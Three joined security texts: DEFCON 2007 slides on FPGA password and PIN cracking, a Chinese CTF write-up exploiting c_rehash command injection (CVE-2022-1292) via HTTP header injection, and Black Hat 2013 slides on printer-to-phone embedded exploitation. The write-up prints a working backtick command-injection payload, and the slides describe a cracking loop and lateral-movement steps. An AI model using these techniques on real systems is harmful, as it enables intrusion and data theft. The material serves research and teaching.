decrypt comb_keys s_comb_key ^= Kinit; m_lk = E21(m_comb_key, m_bd_addr); // determine link key s_lk = E21(s_comb_key, s_bd_addr); lk = m_lk ^ s_lk; m_sres_t = E1(lk, s_au_rand, m_bd_addr); // verify authentication s_sres_t = E1(lk, m_au_rand, s_bd_addr); if(m_sres_t == m_sres && s_sres_t == s_sres) found! } DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking for(pin = 0; ; pin++) { Kinit = E22(pin, s_bd_addr, in_rand); // determine initialization key m_comb_key ^= Kinit; // decrypt comb_keys s_comb_key ^= Kinit; m_lk = E21(m_comb_key, m_bd_addr); // determine link key s_lk = E21(s_comb_key, s_bd_addr); lk = m_lk ^ s_lk; m_sres_t = E1(lk, s_au_rand, m_bd_addr); // verify authentication s_sres_t = E1(lk, m_au_rand, s_bd_addr); if(m_sres_t == m_sres && s_sres_t == s_sres) found! } DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking PIN Gen SAFER+ 16 PINs 16 PINs E22 DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking PIN Gen SAFER+ Output loops back and SAFER+ now does E21 for the Master 16 clock cycles later E21 DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking PIN Gen SAFER+ Then does the second E21 for the Slave and combines the keys to create the link key 16 clock cycles later E21 DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking PIN Gen SAFER+ Then the first part of E1 for the Slave 16 clock cycles later E1 DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking PIN Gen SAFER+ Then the second part of E1 for the Slave 16 clock cycles later E1 DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking PIN Gen SAFER+ Then the first part of E1 for the Master 16 clock cycles later E1 DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking PIN Gen SAFER+ Then the second part of E1 for the Master 16 clock cycles later E1 DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking PIN Gen SAFER+ Then checks all of the sres values to see if any match while the process starts over 16 clock cycles later E22 Compare SRES Stop N Y DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking  If the cracker stops the computer reads back the last generated PIN from the pin generator to determine what the valid PIN was  The last generated PIN – 16 should be the cracked PIN  I built a commandline version  Thierry Zoller integrated support into BTCrack  I added some hollywood FX ! DEFCON 2007 2007 © The OpenCiphers Project Performance Comparison PC btpincrack 3.6GHz P4 ~40,000/sec BTCrack 3.6GHz P4 ~100,000/sec 0.24 secs to crack 4 digit 42 min to crack 8 digit FPGA btpincrack LX25 ~7,000,000/sec 15 Cluster ~105,000,000/sec LX50 ~10,000,000/sec 0.001 secs to crack 4 digit 10 secs to crack 8 digit Demo DEFCON 2007 2007 © The OpenCiphers Project WinZip AES Encryption  Somewhat proprietary standard  No open source code available (until now!)  Format  Uses the standard ZIP format  Adds a new compression type (99)  Uses PBKDF2 (1000 iterations) for key derivation  Individual files can be encrypted inside the ZIP file  Supports 128/192/256-bit key lengths  Uses a 16-bit verification value to verify passwords  Otherwise you verify by using the checksum  Uses a salt (sorry, can't do a dictionary attack!) DEFCON 2007 2007 © The OpenCiphers Project WinZip AES Encryption  Cracking algorithm  Scan through ZIP file until you find the encrypted file  Get the 16-bit password verification value  Hash a password with PBKDF2 and see if the verification value matches  No – Try next password  Yes – Decrypt file and see if checksum matches  No – Try next password  Yes – Password found! DEFCON 2007 2007 © The OpenCiphers Project WinZip AES Encryption  Uses the same PBKDF2 core as the WPA and FileVault cracking code  Requires extra iterations for longer key lengths  Tool takes a ZIP file, encrypted file name, and dictionary file as input DEFCON 2007 2007 © The OpenCiphers Project Performance Comparison PC winzipcrack 800MHz P3 ~100/sec 3.6GHz P4 ~180/sec AMD Opteron ~200/sec 2.16GHz IntelDuo ~200/sec FPGA winzipcrack LX25 ~2,000/sec LX50 ~6,000/sec 15 Cluster ~30,000/sec Demo DEFCON 2007 2007 © The OpenCiphers Project VileFault  “FileVault secures your home directory by encrypting its entire contents using the Advanced Encryption Standard with 128- bit keys. This high-performance algorithm automatically encrypts and decrypts in real time, so you don’t even know it’s happening.” DEFCON 2007 2007 © The OpenCiphers Project VileFault  We wanted to know what was happening DEFCON 2007 2007 © The OpenCiphers Project VileFault  Stores the home directory in a DMG file  DMG is mounted when you login  hdi framework handles everything  Blocks get encrypted in 4kByte “chunks” AES- 128, CBC mode  Keys are encrypted (“wrapped”) in header of disk image  Wrapping of keys done using 3DES-EDE  Two different header formats (v1, v2)  Version 2 header: support for asymmetrically (RSA) encrypted header DEFCON 2007 2007 © The OpenCiphers Project VileFault  Apple's FileVault  Uses PBKDF2 for the password hashing  Modified version of the WPA attack can be used to attack FileVault  Just modified the WPA core to 1000 iterations instead of 4096  Worked with Jacob Appelbaum & Ralf-Philip Weinmann to reverse engineer the FileVault format and encryption DEFCON 2007 2007 © The OpenCiphers Project VileFault  Login password used to derive key for unwrapping  PBKDF2 (PKCS#5 v2.0), 1000 iterations  Crypto parts implemented in CDSA/CSSM  DiskImages has own AES implementation, pulls in SHA-1 from OpenSSL dylib  “Apple custom” key wrapping loosely according to RFC 2630 in Apple's CDSA provider (open source) DEFCON 2007 2007 © The OpenCiphers Project VileFault  vfdecrypt (Ralf Philip-Weinmann & Jacob Appelbaum)  Will use the same method with a correct password to decrypt the DMG file and output an unencrypted DMG file  Result can be mounted on any system without a password  vfcrack (me!)  Unwrap the header  Use header to run PBKDF2 with possible passphrases  Use PBKDF2 hash to try and decrypt the AES key, if it doesn't work, try next passphrase  With the AES key decrypt the beginning of the DMG file and verify the first sector is correct (only needed with v2) DEFCON 2007 2007 © The OpenCiphers Project VileFault  Other attacks  Swap  The key can get paged to disk (whoops!)  Encrypted swap isn't enabled by default  Hibernation  You can extract the FileVault key from a hibernation file  Ring-0 code can find the key in memory  Weakest Link  The password used for the FileVault image is the same as your login password  Salted SHA-1 is much faster to crack than PBKDF2 (1 iteration vs 1000)  The RSA key is easier to crack than PBKDF2 DEFCON 2007 2007 © The OpenCiphers Project Performance Comparison PC vfcrack 800MHz P3 ~100/sec 3.6GHz P4 ~180/sec AMD Opteron ~200/sec 2.16GHz IntelDuo ~200/sec FPGA vfcrack LX25 ~2,000/sec LX50 ~6,000/sec 15 Cluster ~30,000/sec Demo DEFCON 2007 2007 © The OpenCiphers Project jc-aircrack  Johnny Cache added FPGA support to jc-aircrack  Uses all of the standard aircrack statistical methods  Helps with smaller capture files  You can offload brute forcing the lower key byte possibilities to the FPGA  Uses a new common FPGA WEP cracking library  Performance  Performance will vary depending on capture file  Should typically get about 30x speed increase when brute forcing Demo DEFCON 2007 2007 © The OpenCiphers Project Works in Progress  GSM A5/1  Real working open-source implementation  We can capture GSM packets  We can break A5/1 (using a few different methods)  Check out our talk at the CCCamp DEFCON 2007 2007 © The OpenCiphers Project Conclusion  Get an FPGA and start cracking!  Make use if your hardware to break crypto  <64-bit just doesn't cut it anymore  Choose bad passwords (please!) DEFCON 2007 2007 © The OpenCiphers Project Hardware Used  Pico E-12  Compact Flash  64 MB Flash  128 MB SDRAM  Gigabit Ethernet  Optional 450MHz PowerPC 405 DEFCON 2007 2007 © The OpenCiphers Project Hardware Used  Pico E-12 Super Cluster  15 - E-12’s  2 - 2.8GHz Pentium 4’s  2 - 120GB HDD  2 - DVD-RW  550 Watt Power Supply DEFCON 2007 2007 © The OpenCiphers Project Future Hardware  Pico E-16  ExpressCard 34  Works in MacBook Pros  2.5Gbps full-duplex  Virtex-5 LX50 (~2x faster)  32MB SRAM  External ExpressCard Chip  Made for Crypto Cracking  More affordable DEFCON 2007 2007 © The OpenCiphers Project Thanks  Johny Cache (airbase/jc-wepcrack/jc-aircrack)  Jacob Appelbaum & Ralf-Philip Weinmann (FileVault)  Thierry Zoller & Eric Sesterhenn (BTCrack)  Viewers like you DEFCON 2007 2007 © The OpenCiphers Project Questions?  David Hulton  david@toorcon.org  http://openciphers.sf.net  http://www.picocomputing.com  http://www.toorcon.org  http://www.802.11mercenary.net
pdf
1 第NS届全国⼤学⽣知识竞赛 初赛 online_crt writeup 项⽬分析 解题 c_rehash 利⽤条件 go server url注⼊http头 go的RawPath特性 构造利⽤链 第⼀步 第⼆步 使⽤baseTQ 编码 使⽤截断环境变量 使⽤现有环境变量 第三步 总结 author:⽩帽酱 题⽬给了后端源码 ⼀道题利⽤了前不久出现的⼀个鸡肋洞 题⽬还是⽐较有意思的 项⽬后端是pyhton + go pyhton的服务直接暴露给⽤户 pyhton服务 ⼀共有4个路由 /getcrt ⽣成⼀个x509证书 /createlink 调⽤ c_rehash 创建证书链接 项⽬分析 2 /proxy 通过代理访问go服务 Python 复制代码 @app.route('/', methods=['GET', 'POST']) def index():    return render_template("index.html") @app.route('/getcrt', methods=['GET', 'POST']) def upload():    Country = request.form.get("Country", "CN")    Province = request.form.get("Province", "a")    City = request.form.get("City", "a")    OrganizationalName = request.form.get("OrganizationalName", "a")    CommonName = request.form.get("CommonName", "a")    EmailAddress = request.form.get("EmailAddress", "a")    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress) @app.route('/createlink', methods=['GET']) def info():    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}    return json.dumps(json_data) @app.route('/proxy', methods=['GET']) def proxy():    uri = request.form.get("uri", "/")    client = socket.socket()    client.connect(('localhost', 8887))    msg = f'''GET {uri} HTTP/1.1   Host: test_api_host   User-Agent: Guest   Accept-Encoding: gzip, deflate   Accept-Language: zh-CN,zh;q=0.9   Connection: close   '''    client.send(msg.encode())    data = client.recv(2048)    client.close()    return data.decode() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 3 go后端有⼀个admin路由 ⽤于重命名证书⽂件 题⽬中出现了 c_rehash c_rehash是openssl中的⼀个⽤perl编写的脚本⼯具 ⽤于批量创建证书等⽂件 hash命名的符号链接 最近c_rehash 出了个命令注⼊漏洞 (CVE-2022-1292) 经过搜索⽹上并没有公开的exp (可能因为这个漏洞⾮常鸡肋) 只能通过diff进⾏分析 解题 c_rehash Python 复制代码 func admin(c *gin.Context) { staticPath := "/app/static/crt/" oldname := c.DefaultQuery("oldname", "") newname := c.DefaultQuery("newname", "") if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") { c.String(500, "error") return } if c.Request.URL.RawPath != "" && c.Request.Host == "admin" { err := os.Rename(staticPath+oldname, staticPath+newname) if err != nil { return } c.String(200, newname) return } c.String(200, "no"+c.Request.URL.RawPath+","+c.Request.Host ) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 4 https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8 这个就是漏洞的commit 很容易看出 ⽂件名这⾥过滤不严 没有过滤反引号就直接把⽂件名拼接到了命令⾥ 所以只要在⽂件名中使⽤反引号就可以执⾏任意命令 继续上前追溯 5 发现在执⾏命令前会检查 ⽂件后缀名.(pem)|(crt)|(cer)|(crl) 和⽂件内容 ⽂件内容必须包含证书或者是吊销列表才能通过检查 到这⾥可以整理出这个鸡肋洞的条件了 1. 执⾏c_rehash ⽬标⽬录下⽂件可控 2. ⽂件后缀符合要求 3. ⽂件内容必须包含证书或者是吊销列表 4. ⽂件名可控 利⽤条件 Perl 复制代码 sub hash_dir {    my %hashlist;    print "Doing $_[0]\n";    chdir $_[0];    opendir(DIR, ".");    my @flist = sort readdir(DIR);    closedir DIR;    if ( $removelinks ) {        # Delete any existing symbolic links        foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {            if (-l $_) {                print "unlink $_" if $verbose;                unlink $_ || warn "Can't unlink $_, $!\n";           }       }   }    FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {        # Check to see if certificates and/or CRLs present.        my ($cert, $crl) = check_file($fname);        if (!$cert && !$crl) {            print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";            next;       }        link_hash_cert($fname) if ($cert);        link_hash_crl($fname) if ($crl);   } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 6 题⽬中⽣成证书的功能可以创建⼀个满⾜要求的⽂件 接下来看go的部分 为了实现可控的⽂件名 我们需要调⽤go的重命名功能 go的路由在重命名前有两个校验 c.Request.URL.RawPath != "" && c.Request.Host == "admin" ⾸先需要绕过这两个验证 Request.Host就是请求的host头 在python的请求包中host头是固定的 (test_api_host) 这⾥要想办法让go后端认为host值是admin python 在代理请求时直接使⽤了socket 发送raw数据包 在数据包{uri}处没有过滤 所以我们可以直接在uri注⼊⼀个host头来替换原先的头 注⼊之后数据包就变成了这样 go server url注⼊http头 7 这样就绕过了host头的校验 通过阅读go net库的源码 我发现在go中会对原始url进⾏反转义操作(URL解码) 如果反转义后再次转义的url与原始url不同 那么RawPath会被设置为原始url 反之置为空 go的RawPath特性 Perl 复制代码 GET / HTTP/1.1 Host: admin User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close HTTP/1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 8 注释中贴⼼的给出了示例和详细的功能介绍 所以只要我们把url中的任意⼀个斜杠进⾏url编码 就可以绕过这个检查了 接下来就是构造这个简单的利⽤链 请求 /getcrt 路由 ⽣成⼀个证书 返回证书路径 请求 /proxy 修改证书名为恶意⽂件名 这⾥有⼀些坑点 linux⽂件名虽然可以包⼤部分可打印字符 构造利⽤链 第⼀步 第⼆步 9 但是有⼀个除外 那就是斜杠 不能使⽤斜杠这限制了命令执⾏的内容 下⾯是我在这次ctf尝试的解决⽅案 在这⼀步我尝试了⼏个⼩时 ⽬标环境有些⽞学的问题 构造 `echo Y2F0IC9mbGFnID4gZHNmZ2g= |base64 -d|bash` 尝试使⽤base64绕过 本地测试利⽤成功 在⽬标机器多次尝试均失败 (可能是⽬标docker环境问题 缺少base64⼯具) linux有很多预制的系统环境变量 ⽐如PATH SHELL bash 可以通过${变量名:偏移:⻓度} 简单的截取环境变量值 这⾥我们使⽤SHELL环境变量的开头第⼀个字符来替代斜杠 ${SHELL:0:1} 这种⽅法本地测试成功 都是在⽬标机器多次尝试还是失败 构造命令 `env >qweqwe` 获取到了⽬标机器的环境变量值 运⽓⾮常好 OLDPWD的值刚好为我们所需要的 / 最终使⽤了这个⽅法成功读取到了flag 使⽤base64 编码 使⽤截断环境变量 使⽤现有环境变量 10 请求 /createlink 触发 c_rehash RCE `ls $OLDPWD >qweqwe` 成功列出了根⽬录的内容 然后执⾏ `cat ${OLDPWD}flag >jnyghj` 读取flag uri=/admin/rename?oldname=d205092e-c641-423e-82f0-e96f583f3c38.crt&newname=0`cat ${OLDPWD}flag >jnyghj`.crt 第三步 11 因为之前分析过c_rehash这个鸡肋的洞 当时看了⼀眼标题就猜到了整个利⽤链 没想到还是在构造payload上花了太多时间 (由于利⽤特殊性 这个漏洞在实战应该不太可能遇⻅) 总结 不知道尝试了有多少次2333
pdf
8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Stepping p3wns Adventures in full-spectrum Embedded Exploitation And Defense 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Our Typical Talk 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Our Typical Talk 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Our Typical Talk 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Our Typical Talk 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Our Typical Talk 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Our Typical Talk 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Our Typical Talk 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Professor, Columbia University Co-Founder, Red Balloon Security 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Research Scientist, Red Balloon Security Fashionisto Extraordinaire 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Research Scientist, Red Balloon Security 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Local Man 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Cisco  Bug  ID  –  CSCui04382 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 How many vulnerable printers are there in the world? months after patch release 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 How many vulnerable printers are there in the world? months after patch release 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 A http://ids.cs.columbia.edu/sites/default/files/CuiPrintMeIfYouDare.pdf 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 http://ids.cs.columbia.edu/sites/default/files/paper.pdf 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 http://events.ccc.de/congress/2012/Fahrplan/events/5400.de.html Today, This Talk 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Poly-species malware propagation 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Poly-species malware propagation 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Cisco 2821 IOS 12.3(11)T5 MIPS Cisco 1841 IOS 12.4(1c) mips Cisco 7961 CNU 9.3(1TH2.5) MIPS HP LaserJet P2055dn 20100308 arm Cisco 8961 Linux 2.6.18 (sort of) ARM Avaya 9601 Linux ?? ARM 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Cisco 2821 IOS 12.3(11)T5 MIPS Cisco 1841 IOS 12.4(1c) mips Cisco 7961 CNU 9.3(1TH2.5) MIPS HP LaserJet P2055dn 20100308 arm Cisco 8961 Linux 2.6.18 (sort of) ARM Avaya 9601 Linux ?? ARM 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Cisco 2821 IOS 12.3(11)T5 MIPS Cisco 1841 IOS 12.4(1c) mips Cisco 7961 CNU 9.3(1TH2.5) MIPS HP LaserJet P2055dn 20100308 arm Cisco 8961 Linux 2.6.18 (sort of) ARM Avaya 9601 Linux ?? ARM 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 t FRAK, BH 2012 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Barnaby_prime Function = Permanent Modification 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Jtagulator = Awesome Sauce 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Thank You Joe Grand! 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Defense 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Software Symbiote Defense on •  ARM, MIPS •  Cisco 7961G •  Cisco 2821 & 1841 •  HP 2055 LaserJet 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 There is NO protection from a polyculture… A cacophony can play nice…. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Market & Legal Implications Why vendors seem not to care, for now…. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 The market doesn’t care? •  What you don’t see won’t hurt you… 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 More of this is needed? 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Or this…. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 It’s not just about function and price •  What if our phones attack our servers? •  The legal liability issues have not been tested –  But they will be… 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 And then there is government… 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Customer awareness means… •  Vendors will respond… •  Software Symbiotes are ready 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 SunSet  @  P3wnT0wn 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 More About Software Symbiote Technology [www.redballoonsecurity.com] 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 OffenseDemo 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Reverse tunnel from printer to outside host. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Offense konsole launched. printer added as target. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Synscan command issued over tunnel to printer. Printer synscans inside network and finds targets. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Printer used to find MAC to IP mappings. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Recon4 renamed to phone2 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo ARP poisoning phone2. Phone2 now thinks printer is its TFTP server. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Proxy built from from printer to outside host. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo SSH in from outside, through printer proxy, to phone using authorized_keys file (supplied by printer). 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Phone has MTD with world write permission and utilities to erase and write NAND flash. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Small block written to MTD containing small filesystem with one setuid, shell-popping binary. Root shell earned. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo All offense targets containing the packet scrubber rootkit added to konsole. Heartbeat devices through tunnel to find memory fingerprints. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Using memory fingerprint, we can lookup pre-computed values about the printer in offline firmware database. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Getinfo for the 2821 router. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Use command and control packets to read phone memory. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Use command and control to write phone memory. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Read phone memory again to see results of write operation. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 Offense Demo Normal Cisco router behavior: three bad enable secrets keeps user at unprivileged level. ‘show version’ shows router information. 8/1/13 Cui,  Costello,  Kataria,  Stolfo,  Blackhat  USA 2013 